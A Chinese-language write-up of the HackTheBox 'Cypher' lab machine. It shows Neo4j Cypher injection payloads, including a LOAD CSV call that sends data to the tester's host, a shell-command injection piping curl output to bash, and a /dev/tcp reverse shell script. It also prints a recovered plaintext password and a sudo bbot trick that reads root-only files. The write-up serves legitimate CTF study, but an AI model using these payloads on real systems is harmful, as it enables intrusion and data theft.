> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**技能：**

* 使用 JD-GUI 对 Java .jar 文件进行逆向工程
* 自定义 Java 代码的漏洞分析
* Neo4j 中的 Cypher 注入
* 通过未过滤输入实现远程代码执行（RCE）
* 后渗透枚举和凭据复用
* 通过配置错误的 sudo 权限进行提权
* 安全提取 flag 及清理流程
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/008a679b48e06b2e1c2677a117aab8278b31c405" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/c00bcf6ab9cebee20654ebd59d68caa9ab0efa22" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="/files/dc8b56471445c55c4374b4667d326876fcb5957b" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="/files/822587bbae3756cc515d74c7baedcbcfe7ce60ae" alt=""><figcaption></figcaption></figure>

然后将该 IP 添加到我们的 `/etc/hosts` 文件：

<figure><img src="/files/c6699098cff202e7499761cf601445119d3183e1" alt="" width="563"><figcaption></figcaption></figure>

### Web 分析 - 80 端口（HTTP）

<figure><img src="/files/3c178a0d24acc6283d4a71a335894042227b5973" alt=""><figcaption></figcaption></figure>

**Gobuster** 用于列出目录：

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/317955a5cccb5eccbf46ea95e81ce6b88409b124" alt=""><figcaption></figcaption></figure>

该 `/testing` 目录中包含一个 `.jar` 文件。我们解压：

<figure><img src="/files/38b58ca98f0c7b42f13b8318f39010d90c8a6e1e" alt=""><figcaption></figcaption></figure>

使用 `tree` 检查结构，并打开 `.jar` 替换为 **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="/files/70e35798fa3fefdce01f86be07926f3cb68a16f1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c36027d2f4268a31219da1c034233134bf524232" alt=""><figcaption></figcaption></figure>

我们发现一条存在漏洞的命令：

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="/files/adb47001ef6829f73c21036770dc429c5e283f7b" alt=""><figcaption></figcaption></figure>

**漏洞**: URL 未转义，允许一个 /*/* shell/*/* 注入。

## Neo4j Cypher 注入

登录表单存在漏洞。当在 `'`.

<figure><img src="/files/0383112763056d266fb6e2bc51e30ae938100e88" alt=""><figcaption></figcaption></figure>

我们注入一个 Cypher 载荷来获取 Neo4j 版本：

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="/files/dbcbebb028da7f666380de6779d3973c3009a7fc" alt=""><figcaption></figcaption></figure>

在我们的服务器上，我们收到请求：

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="/files/6bd20fa05676e1ed82b6ee3b0cb47e7089b8ea97" alt=""><figcaption></figcaption></figure>

### 通过调用……实现 NCE `custom.getUrlStatusCode()`

<figure><img src="/files/fb601c44c0ccd85a6544b28fbb413998c031d1e2" alt=""><figcaption></figcaption></figure>

在 `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

在 `index.html`:

```bash
nc -nlvp 443
```

使用联合注入来调用此 **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="/files/621e50dfe73ffc49810a7c0abac7c7124bd9db18" alt=""><figcaption></figcaption></figure>

#### Shell 提升：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 横向移动 - 用户 Graphasm

在 `/home/graphasm/` 有一个 `pwn.py` 包含密码的文件

<figure><img src="/files/3d495dc775261f04ef85b7f08062d5fefdf3f086" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### 密码复用

### user.txt 标志 :)

<figure><img src="/files/f6d04b42c2aeb9fc48b1e6ec79d4218b9aabdf08" alt=""><figcaption></figcaption></figure>

## 权限提升

### Sudo - bbot（二进制文件）

fees 的 sudo 审计：

```bash
sudo -l 
```

用户可以运行 `/usr/local/bin/bbot` 以 root 身份。

<figure><img src="/files/24e17f6866a86182f3f586f64488d212230f3b05" alt=""><figcaption></figcaption></figure>

内容： `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/9bc2311b01ebfe312f25eb0b72a9c3aa70b76331" alt=""><figcaption></figcaption></figure>

### 利用：

此脚本只是将参数传递给 `bbot`的 main 函数。由于我们可以控制提供的参数，因此我们可以使用 `bbot` 的一个功能来播放任意文件——包括那些仅用户 **root**.

在查阅了使用 `bbot`的帮助或文档后，我们找到了指定目标文件和输出目录的选项：

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**说明：**

* `-t /root/root.txt`：设置要处理的目标文件。
* `-o /tmp/root`：指定输出目录（结果将存储在此处）。
* `-d`：启用调试模式，以便在需要时获取更多信息。

由于该脚本以 **root** 权限运行，并且不会对 ns 条目进行验证，这使我们能够播放任意文件，包括包含以下内容的最终文件： **root flag**.

<figure><img src="/files/ccdaebeb93423fb328b398dc1c6c881afd43e48d" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="/files/b2e300a4700dab9cca7a3daaea7cc0730d88a270" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
